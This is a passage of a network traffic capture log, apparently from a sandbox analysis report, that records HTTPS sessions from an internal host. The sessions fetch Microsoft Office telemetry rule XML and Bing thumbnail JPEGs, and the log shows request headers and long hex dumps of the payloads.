2024-12-06 17:45:54 UTC	16069	IN	Data Raw: 9f 27 b5 f8 87 df 78 b1 ef bc 61 a6 ea af e4 c2 b6 d7 90 fe fb ef fd c7 fe e7 dc a3 e1 4e b9 af 4f 79 2c da 54 37 77 12 d9 ea 57 77 09 37 93 f2 6f 7f f8 05 76 5e 11 d0 f4 dd 3f 55 fb 4f f6 6f db ae 37 fd a1 2d e6 9b fe 00 ef 58 de 16 74 bf b3 d6 e6 f0 c6 9d 14 4a f7 8f fe 8f 16 ff 00 93 7b fc 89 fe ff 00 df df 58 ca 46 b4 a5 0f e6 36 fc 07 73 a9 5a 7c 5d 96 e7 c4 1a 6e a1 63 6f 79 a5 4d fe bb 7a 7f 71 ff 00 8f 65 71 1e 3a d1 be dd e0 3f 0e 42 90 cd 63 6f fd a4 96 fe 4c df 26 ff 00 9f ef d7 5b e1 19 e1 83 5b b3 d5 75 5b 3d 3e 1b 04 b6 9b ed 30 fc ff 00 e9 3b dd 3e 4f bf 5d 1f 8f fc 43 e1 eb e9 a2 7f ec 78 7e 47 7b b4 f3 be 78 7c e4 f9 11 11 2b 2e 69 c6 a9 d3 2e 49 52 28 7c 27 8b fb 33 e1 17 fa 14 df 67 b7 d4 be d1 fe ba 1f ee 3c db 11 1f ee 3b ff 00 7d 2a Data Ascii: 'xaNOy,T7wWw7ov^?UOo7-XtJ{XF6sZ\|]ncoyMzqeq:?BcoL&[[u[=>0;>O]Cx~G{x\|+.i.IR(\|'3g<;}*
2024-12-06 17:45:54 UTC	16384	IN	Data Raw: ce ee 9e 74 3f 23 c3 f7 12 6f fd 9f ee 54 56 36 c9 a5 5e 5f be a1 fe 91 6e f6 d0 ef b8 b7 85 df e7 9a 67 ff 00 be eb d3 c3 c8 e4 c4 47 98 e8 ec 65 9a 0b 3b 38 53 fb 42 fa ea e7 63 f9 33 4d f2 7f e3 ff 00 ef ef ab 16 b3 de 69 9a 24 b6 6f a9 7c c9 72 ee f3 7c 9f c7 f2 7c 95 cd f8 72 f1 f5 7d 56 29 ae 21 9a dd 52 d9 d1 26 86 67 47 f9 eb a4 d6 3c 3d b6 c2 29 bc 98 76 be c4 49 a5 9b e4 44 4f bf f2 57 9f 98 4e 94 bd d3 bb 05 09 c3 de 39 7d 63 43 d4 af 35 5b 34 d3 74 18 75 6b 87 4f b4 3d f5 c7 ee 5d 36 3f c8 8e ff 00 dc ad 1d 2b 4f bc 5b f8 be db e7 7d ab 67 fa 4c 3f 26 cd ff 00 ef ff 00 b1 5d 5f 86 62 b3 82 1f de ea 53 5c 33 a6 c9 ae 2e 26 44 f9 ff 00 8e b0 75 8d 3d ef a1 ba d4 93 ce 99 53 66 cf 3b 7f cf f7 f7 ef 4a 30 33 9c bf c2 18 de 48 c3 de f8 8d ed 2a f3 Data Ascii: t?#oTV6^_ngGe;8SBc3Mi$o\|r\|\|r}V)!R&gG<=)vIDOWN9}cC5[4tukO=]6?+O[}gL?&]_bS\3.&Du=Sf;J03H*
2024-12-06 17:45:54 UTC	16384	IN	Data Raw: 7f ee 7c ef ff 00 d8 53 7c 41 2f 9f 0c 57 3f e9 73 5a dc fc e9 e7 6f ff 00 49 87 ee 3b ef fb f5 87 3e ab 67 63 37 d8 ef 7f e7 cf ca 4f df 3b bd b5 c3 ff 00 e8 75 db 03 a6 07 4d 7d ad 69 4d 79 a1 d9 cb a3 c3 0d 85 9e f7 b9 9a 19 be 4b 97 78 7e 4f bf 5c f6 86 ce f6 11 42 f0 ff 00 a2 a5 e6 ff 00 dc cd f7 3f cf f7 ea fc 8c 9e 25 bf 96 f2 ef 4d fb 3b 3d b6 cf 26 c6 1d 90 fc 89 f2 3a 27 fb 9f 7f ee 6c ac 98 35 ed 35 bc dd 1f ec 7f 67 b5 f9 11 26 8b fd 72 7f bf 5d 27 6f 39 ad e2 ad 2a c1 6c 3e d9 a8 69 b3 7d a1 dd 1d e1 9a f3 f8 3e fe fd 9f f0 3a d4 f0 fc 4f 3f c9 14 3f 67 d1 92 d9 1d 26 9b f7 cf ff 00 4d 6a ac 0b a5 25 fc a9 a8 6b 13 5c 2d ca 7f ae b8 9b 7e f4 fe 0f f8 1d 69 41 f6 3d 23 4a 95 f4 fd 4a 19 ac 2f 11 ed fe cf 34 df e9 37 3f 26 f7 d9 fc 7f 7e b3 e7 Data Ascii: \|S\|A/W?sZoI;>gc7O;uM}iMyKx~O\B?%M;=&:'l55g&r]'o9*l>i}>:O??g&Mj%k\-~iA=#JJ/47?&~

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:53 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:54 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:53 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 74f9eb57-201e-003c-3ec2-4630f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174553Z-1746fd949bdlqd7fhC1EWR6vt000000004r000000000cd6m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:54 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	49833	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:53 UTC	346	OUT	GET /th?id=OADD2.10239400684120_19KXYN61GL8LX8K23&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-06 17:45:54 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 296379 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 0104ADAA7CAC49A4909AEBB2F04EAFB4 Ref B: EWR30EDGE0715 Ref C: 2024-12-06T17:45:53Z Date: Fri, 06 Dec 2024 17:45:52 GMT Connection: close
2024-12-06 17:45:54 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 20 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 32 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 34 3a 31 30 3a 30 31 20 31 30 3a 32 34 3a 33 30 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1 r2i``Adobe Photoshop 25.12 (Windows)2024:10:01 10:24:308C
2024-12-06 17:45:54 UTC	16384	IN	Data Raw: b4 d2 86 b4 b4 dd 32 eb 51 b8 36 f6 aa ac e1 0b 90 d2 04 01 54 64 92 58 80 30 3d ea aa a6 e0 18 0e b4 8d f9 26 a9 fb 5b 7b b7 b5 fc d6 b6 2b 14 a6 b2 e3 ad 5a 29 de 98 c9 da 82 14 ca e5 68 a9 99 3b d1 41 5c c7 82 a0 25 b3 53 2e 43 66 a3 85 4e ec 54 b8 21 b1 8f ce bb 22 7e d5 88 63 d7 d3 b0 a9 23 c6 7d f3 49 1a 0d a0 92 07 5a 14 61 aa d1 e5 d4 95 8b b1 9f 93 3d 85 0c 3e 6c e3 8a 6a e7 68 ef e9 4a d9 0b 8a 56 1a 9e 84 13 1c 2e 2a 35 19 6e 33 52 49 f7 a8 87 68 56 39 21 86 36 f1 f9 e7 d2 a4 22 ee c9 2d c6 5b 8a b4 80 01 93 55 e0 38 5e 3b d5 a5 e9 8a 86 6d 1b 10 c8 32 dd 71 40 1e 94 e7 e1 b8 a1 7a 54 b3 58 bd 46 49 50 30 c9 c5 58 93 95 e0 54 2c 3d 2a 59 ba 1b 8f 96 9a c3 1c d3 81 f4 a4 6c 1f f1 a9 66 88 65 01 73 9f 6a 3a 73 45 23 54 0b cf 26 9d ed 42 70 29 7f Data Ascii: 2Q6TdX0=&[{+Z)h;A\%S.CfNT!"~c#}IZa=>ljhJV.5n3RIhV9!6"-[U8^;m2q@zTXFIP0XT,=Ylfesj:sE#T&Bp)
2024-12-06 17:45:54 UTC	16384	IN	Data Raw: 60 ad 32 95 66 65 c9 6e 3b 0a 89 ad 87 a7 15 ae 62 06 a3 68 7a f1 41 ac 71 0c c4 92 dc 6e e9 50 3d b5 6e 3c 1e d5 0b db 8f 4a 0e a8 62 4c 37 b7 a1 ec cf d9 fc dc af 5c 6d cf 3f 95 6b 49 6f da a1 78 3b 62 9a 37 8e 23 6d 4c 67 b7 f6 a8 da 0a d8 78 3d aa 37 b7 ed b6 9a 66 f1 c4 18 ed 01 fc 2a 27 87 1c 62 b6 1e db d2 a3 92 df da ae e6 d1 c4 18 cd 0d 45 24 55 b0 f0 7b 54 12 41 8f ad 33 a2 35 cc 97 83 35 03 c3 5a d2 40 7a 62 a0 92 2f 51 52 74 c6 b1 94 f1 1a 6b 47 5a 4d 0f b5 47 24 39 a0 e8 8d 63 35 a3 22 9b b0 f6 ad 03 17 61 50 bc 5e d4 1a c6 a5 ca 98 a4 c1 ab 1e 5f a5 2c c9 18 55 f2 c1 ce df 9b 3e be de d4 1a 73 dc ad 45 49 b4 d2 6d a4 c7 71 94 ab c6 73 4e c5 1b 7b d2 2a 33 b3 b8 99 02 9d 91 da 9a 57 bd 00 63 81 53 ca 6a ab b0 27 bd 26 49 a9 ae a0 10 cb b0 4a Data Ascii: `2fen;bhzAqnP=n<JbL7\m?kIox;b7#mLgx=7f'bE$U{TA355Z@zb/QRtkGZMG$9c5"aP^_,U>sEImqsN{3WcSj'&IJ
2024-12-06 17:45:54 UTC	16384	IN	Data Raw: 2a c1 5f 4a 8a 41 f2 d6 76 34 52 2b 37 a5 44 eb 56 24 03 ad 46 cb 9e 2a 19 6b 52 06 18 a6 38 3b aa 57 14 c2 2b 33 44 44 45 26 05 48 c3 3c d3 0a fc b5 23 e5 63 71 48 79 e2 9c 45 15 0c bb 0d a3 06 8e b4 b8 ac a4 80 14 51 8a 5a 3a d6 72 40 18 14 53 b0 28 fa 54 30 b8 53 1b ad 3f 06 9a 46 5a ae 92 77 27 a8 2d 3c 0f 5a 45 14 ec 66 ba 92 38 eb 49 26 00 51 cd 3b a5 37 06 b4 8c 4f 2e b5 54 ba 8a 0d 28 e6 9a 33 52 2f 14 e5 1d 0e 65 88 d4 31 eb 49 b7 fc e2 a4 c1 a3 1e 95 93 47 5d 3a ac 88 ae 28 db 52 80 0b 60 f0 0d 3a e2 34 49 0a c7 27 98 a3 f8 80 23 3f 81 a9 e5 3a 61 59 b7 62 be da 36 fa 54 a1 73 4a 17 35 16 3a 23 51 91 85 a5 0b 52 6d a7 81 ed 4b 94 7e d0 8d 56 94 2d 48 17 34 ed a2 a6 c4 fb 58 ad d9 1e da 5c 54 9b 68 c5 16 27 da c5 f5 22 c1 a4 6a 97 6d 33 14 1a 46 Data Ascii: _JAv4R+7DV$FkR8;W+3DDE&H<#cqHyEQZ:r@S(T0S?FZw'-<ZEf8I&Q;7O.T(3R/e1IG]:(R`:4I'#?:aYb6TsJ5:#QRmK~V-H4X\Th'"jm3F
2024-12-06 17:45:54 UTC	16384	IN	Data Raw: af 4f 0f 5c b3 c2 d1 9e ae 3a 9a 43 11 5a 9e 8a 5a 1e ab 6f e2 7d 2e 74 e2 fd 54 fa 3e 57 f9 d4 9f da 36 d2 72 97 71 30 3d 31 20 af 27 dd 40 73 eb 58 bc be 0b 66 6e b1 f5 3a a3 d6 56 e0 fd e5 90 30 ed 83 9a 1a 67 3f c5 5e 57 0d d4 f1 30 31 ca ea 47 a3 11 57 6d b5 cd 4e 16 f9 6e e4 3e cd f3 7f 3a 87 81 6b 66 5a c7 27 bc 4f 46 32 b8 ef cd 4b 0c ec 3a 9a e0 61 f1 4e a4 3e f1 89 fe ab fe 15 7e c7 c5 a4 b0 13 db 0f 72 a7 fa 56 52 c1 d4 5d 0d 23 8c a4 f7 76 3b bb 59 cf 03 35 b1 61 76 d1 a0 c1 ae 27 4f f1 16 96 e8 19 ae 56 33 e8 d9 15 a1 69 e2 5d 2c be c1 79 16 7d ce 2b 86 ae 1a 6f ec b3 b2 18 8a 7f cc 8e ee df 53 65 03 9a 98 eb 72 05 e0 9a e2 9b c4 fa 44 58 f3 6f e1 c9 ec ad bb f9 54 52 78 cb 42 5e 3e d6 c7 fd d4 63 5c bf 51 94 be c7 e0 68 f1 74 e3 bc d7 de 76 Data Ascii: O\:CZZo}.tT>W6rq0=1 '@sXfn:V0g?^W01GWmNn>:kfZ'OF2K:aN>~rVR]#v;Y5av'OV3i],y}+oSerDXoTRxB^>c\Qhtv
2024-12-06 17:45:54 UTC	16384	IN	Data Raw: 48 cf e8 29 e1 09 39 c9 c7 07 e9 4d 8c 63 8a 95 6a 8c 5b b6 c3 91 17 82 46 48 e9 ed 52 fd dc 70 4e 4f 6e de e6 98 95 2a b6 28 30 94 98 e5 e2 9a fe d4 13 9e f5 05 f5 dc 16 90 f9 93 c8 15 01 00 92 70 07 b9 a4 da 5a 8a 31 72 76 4b 51 ec 29 92 ba 46 85 e4 95 51 47 52 c4 01 f9 9a e6 35 ff 00 1a 47 6b 83 63 6b e7 46 c4 81 23 90 01 3e c0 1c e3 eb 5c 8e af e2 3d 47 52 e2 e8 ab aa b6 63 4d 83 6a ff 00 8f e3 5c 95 31 94 e3 b6 ac f6 f0 99 2e 26 b5 9c b4 5f 8f dc 7a 15 f7 89 f4 3b 26 22 5d 41 24 20 e3 6c 28 5c fe 60 63 f5 ac 6b ff 00 88 f1 45 36 dd 3a c9 c8 e9 be 52 06 ef 7c 75 15 c0 49 2b bb 0d dd 7b 0c 60 53 48 cf 5e 3f 95 71 4b 1b 56 5b 68 7b 94 b2 0c 24 75 9d e5 eb ff 00 00 f4 81 e3 c7 92 d4 dc 11 6d bf 1f 24 23 71 24 f1 c1 62 00 1f 95 52 93 c7 d7 9e 5a e6 48 52 Data Ascii: H)9Mcj[FHRpNOn*(0pZ1rvKQ)FQGR5GkckF#>\=GRcMj\1.&_z;&"]A$ l(\`ckE6:R\|uI+{`SH^?qKV[h{$um$#q$bRZHR
2024-12-06 17:45:54 UTC	16384	IN	Data Raw: 66 27 07 9c 7a 8a d6 bc 82 29 61 78 26 04 a4 8b 83 8e b8 ef 8a c1 f0 3d e4 32 40 b6 c8 42 c8 b9 02 32 7a 8e a0 83 de ba 0b 82 f1 b8 24 65 18 e0 1e 98 3e 9f 8d 7a 54 b9 5d 35 6d 8f 9b c6 29 c7 12 ef b9 c9 c9 e1 4b 83 7c a1 2e a3 6b 7d c3 0c 72 18 2f a7 1d f1 de b7 ac 3c 39 a7 5a df 25 d4 51 b6 e5 1c 02 d9 5c f4 dd 83 de ad c9 20 07 e6 c8 24 03 82 31 f8 d4 b6 f3 ed c0 73 9c e0 02 07 5a 51 a3 4e 2f 44 15 b1 b8 aa 91 b7 36 9f 99 9b e2 ad 36 ee e2 d5 9a da f6 48 90 26 24 87 3f 2b 01 ce 7f c9 ae 06 64 da ec 0b 72 0f f9 e6 bd 47 5a b7 37 7a 5c 8b 10 df 20 19 50 38 27 9e 46 7b 71 c5 72 37 1a 35 b2 4d be ed 64 58 72 0b 4a 83 69 51 e8 cb d8 83 c6 45 61 89 a2 dc ae 8e ec ab 18 a3 4d c6 6f fc ff 00 e0 98 09 6d 1f 96 ae d7 91 21 6e a3 e6 24 7d 70 28 bc 86 de 37 22 2b Data Ascii: f'z)ax&=2@B2z$e>zT]5m)K\|.k}r/<9Z%Q\ $1sZQN/D66H&$?+drGZ7z\ P8'F{qr75MdXrJiQEaMom!n$}p(7"+
2024-12-06 17:45:54 UTC	16067	IN	Data Raw: 4c f2 07 e7 53 b7 90 b2 04 2c 73 e9 96 fe b4 e7 b6 85 87 ce bb bf 13 47 2a 34 75 a5 bb 65 7f b2 a4 07 ef ab e3 b8 4c 9f f0 ab 11 94 56 ff 00 56 1b 3f de 88 1a 77 d9 62 51 94 01 7b 7c a7 06 8f 24 01 bb 2f ff 00 7d 9a 76 33 94 d4 b7 63 32 e0 fc 99 51 9e 81 76 83 ef 8c e0 d2 ab 5d 17 05 e6 05 7f bb e5 e3 3e 99 39 ed 53 c9 67 22 43 b8 e4 a7 04 b6 72 3f 1a ae de 42 0d c5 d4 7b 9f ff 00 55 16 12 92 96 da 92 ee 9c b6 06 cc 1e c1 cf 15 46 58 35 46 9f 31 b1 f2 f3 93 89 0e 7f 32 38 a9 a0 78 a6 62 12 57 c6 3a 8c 81 8f ad 03 ec e2 62 86 eb 93 c0 1b f3 9a 4e cc b8 de 0d e9 f8 05 d2 5c 18 70 a7 6b 8e 57 3c af e3 eb 55 c2 6a 9c 07 96 1f 72 b1 e7 f9 d5 87 88 ee c2 7c cc 0e 31 81 4e 36 b2 b6 30 06 7b 90 29 58 a8 cd 45 74 fb 88 04 37 e4 61 67 08 be 84 f3 fa 53 3e cf 70 64 Data Ascii: LS,sG*4ueLVV?wbQ{\|$/}v3c2Qv]>9Sg"Cr?B{UFX5F128xbW:bN\pkW<Ujr\|1N60{)XEt7agS>pd
2024-12-06 17:45:54 UTC	16384	IN	Data Raw: 2f c0 7f 4a d0 8e 12 5b 05 fd f1 8c 7f 4a af 71 84 9b 1e 64 65 89 e8 d2 7f 4c 52 b2 ec 4c 6b 54 6e ca 4f f1 22 8e d6 08 a3 f2 a3 5d 8a 4f dd 1d 3f ce 2a 95 ce 95 6c 41 02 22 00 39 c0 ce 3f 2a d2 dc 54 1c 95 f7 c1 1f d2 ab dd b3 46 9e 69 dd eb c9 e3 fc 69 3b 1a 53 a9 51 4b 46 66 b6 9b 06 0a b0 25 48 20 82 6a e5 9c 5e 44 22 38 db 0a a3 81 54 d6 68 a4 7e 0f 7e 7a f1 f9 d5 fb 52 be 4f 24 b6 3a 53 8d ba 1d 15 65 3e 5b 49 96 63 81 3c a6 18 e1 9b 2d 9e e7 d6 ab 6a 16 90 b0 00 83 c7 20 67 f5 ab b6 eb 94 c9 5c e7 b6 6a b6 a2 0f 42 81 7d 3b ff 00 2a 19 cb 09 cb 9f 46 66 ff 00 66 c4 65 79 49 3b 9f 3d eb 43 4d 85 e1 50 8b 27 ca 07 42 a3 35 4a 40 4f 38 52 07 42 1f fa 55 9b 3c 1f 98 e3 f3 a5 1b 23 a2 ac a5 28 ea cb d3 21 96 3c 33 70 39 e0 71 fc a9 f0 47 24 71 ec 57 60 Data Ascii: /J[JqdeLRLkTnO"]O?lA"9?TFii;SQKFf%H j^D"8Th~~zRO$:Se>[Ic<-j g\jB};*FffeyI;=CMP'B5J@O8RBU<#(!<3p9qG$qW`
2024-12-06 17:45:54 UTC	16384	IN	Data Raw: a5 e1 66 68 b3 da 1d 99 73 c8 14 c6 80 6d aa e2 fe 61 fc 22 8f b6 cb e8 b4 be ad 50 bf ed ac 37 99 2b db 7f b3 51 3d bf 5f 96 90 de c8 7f 86 a3 6b 99 1b ae 3f 2a a5 86 99 12 ce a8 79 88 d6 e2 98 f6 e0 0e d4 ad 34 87 bd 37 7b 96 c9 3f a5 5a c3 c8 c6 59 d5 3e 89 91 3c 00 f1 9a 63 5b 0a 98 86 3d 58 d0 cb ef fa d5 aa 0f b9 84 b3 85 d2 25 63 00 dd 9d d4 c1 02 8e a7 9a b4 b1 8a 55 88 55 7b 0f 33 2f ed 69 7f 29 02 5b ab 53 d6 dc 1e 05 4a 23 14 e1 1e 3f 8b 8a 5e c3 cc 16 6e ff 00 94 6a 5a 81 4e fb 30 0b d6 82 be f4 00 7b 1e 29 7d 5d f7 2f fb 63 fb bf 88 7d 9c 1e eb 4d 92 d5 4f 19 a7 6d a3 6f b9 a3 ea fe 64 ff 00 6c cb f9 48 cd a8 0d 9d dc d0 2d 80 5c 71 8a 93 60 1f c4 69 02 0f 4a 3d 87 98 7f 6c 3f e5 19 f6 71 b7 38 14 9e 50 f4 a9 3c b1 48 a8 3b 53 f6 1e 62 fe d8 Data Ascii: fhsma"P7+Q=_k?*y47{?ZY><c[=X%cUU{3/i)[SJ#?^njZN0{)}]/c}MOmodlH-\q`iJ=l?q8P<H;Sb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	49835	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:53 UTC	375	OUT	GET /th?id=OADD2.10239400684121_1FNQVRXRLFI6QYKH4&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-06 17:45:54 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 327081 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 7C924C53530C442EB86598CB3012826D Ref B: EWR311000101053 Ref C: 2024-12-06T17:45:53Z Date: Fri, 06 Dec 2024 17:45:53 GMT Connection: close
2024-12-06 17:45:54 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 20 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 32 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 34 3a 31 30 3a 30 31 20 31 30 3a 32 33 3a 34 30 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1 r2i``Adobe Photoshop 25.12 (Windows)2024:10:01 10:23:408C
2024-12-06 17:45:54 UTC	16384	IN	Data Raw: 3c 8e 2a 9c 33 49 ed 23 72 3d 44 f7 6a b1 16 a0 0f 7a e7 16 7c b5 4c 93 2f a7 e5 5a 2a f1 3c fa dc 31 3f b2 ee 75 10 df 73 9d d9 ab 51 df 0e e6 b9 24 b8 db d1 cd 48 b7 52 7a d5 aa 91 7d 4f 22 b7 0e e2 53 f8 0e ca 3b d1 eb 53 25 d8 f5 ae 36 1b d9 57 af 4a b3 16 a2 c3 ef 75 ab d1 9e 55 6c a6 a4 1e b1 3a d4 ba 1d 8d 4a 97 00 f7 ae 56 2d 49 3b bd 5b 83 52 5d b8 0d d6 9d 8e 19 e0 64 ba 1d 17 9f 9a 4f 38 1e b5 88 ba 82 90 06 e0 3d e8 fb 72 fa d3 31 fa 9c 91 b8 25 53 4e 57 07 81 d6 b0 c5 e8 dd 8c d4 d1 de 03 de 82 65 85 92 36 03 0a 01 15 98 b7 7e f4 f5 ba cf 7a 0c bd 84 91 a3 c5 2a f4 aa 2b 75 ef 52 25 c8 3d e8 21 d2 92 2e a2 8a 91 63 15 52 29 c1 ef 56 a1 b8 db cf 7c 50 61 38 c9 0e f2 c7 a5 34 c4 3b 0a 72 cc a6 9d bd 7d 68 22 f2 44 5e 4d 28 8a a4 0c 0d 28 22 80 Data Ascii: <3I#r=Djz\|L/Z<1?usQ$HRz}O"S;S%6WJuUl:JV-I;[R]dO8=r1%SNWe6~z*+uR%=!.cR)V\|Pa84;r}h"D^M(("
2024-12-06 17:45:54 UTC	16384	IN	Data Raw: ea 6a 59 51 89 24 6b c5 49 b3 2b 9a 70 4c 71 d6 9f 1a e7 ad 7a a8 f9 17 22 31 f7 a9 55 72 de 87 d6 a4 d8 36 e4 f3 da 9e 83 1d b9 aa 33 72 22 c7 cc 40 f4 f4 a5 45 f6 a9 15 71 f8 d3 b0 7b f0 6a 85 cc 34 8f c3 e9 49 8e d8 a9 71 91 ef 48 06 31 54 47 31 1e dc b6 47 53 eb 4a 14 06 c9 e7 15 2e dc f5 eb de 80 b5 49 07 31 1e cf 98 9a 0c 60 fd 45 4a 01 ee 39 e9 4b b0 1e 7d ea 90 b9 88 76 63 a5 3b 60 ed 53 28 21 c7 7a 57 8c 16 38 cf 3d bf 95 50 b9 c8 02 8c 63 a9 a5 5c 2b 02 46 3f 3a 90 47 de 94 a6 38 ed 55 61 aa 84 32 15 77 1f 2e 00 07 22 9b 82 17 27 bd 4d b0 76 ea 3f 1a 40 94 72 97 ed 08 b6 2f 4e 98 a6 c8 83 a8 c7 e1 52 b2 e7 fc 69 0a 91 cd 3b 15 ed 08 f9 0a 40 fc 69 08 07 9c 73 52 6d c0 fa d3 e3 6d 8a c8 63 56 cf 46 23 91 f4 a5 ca 35 55 95 64 8d 87 3f ce a4 bc fb Data Ascii: jYQ$kI+pLqz"1Ur63r"@Eq{j4IqH1TG1GSJ.I1`EJ9K}vc;`S(!zW8=Pc\+F?:G8Ua2w."'Mv?@r/NRi;@isRmmcVF#5Ud?
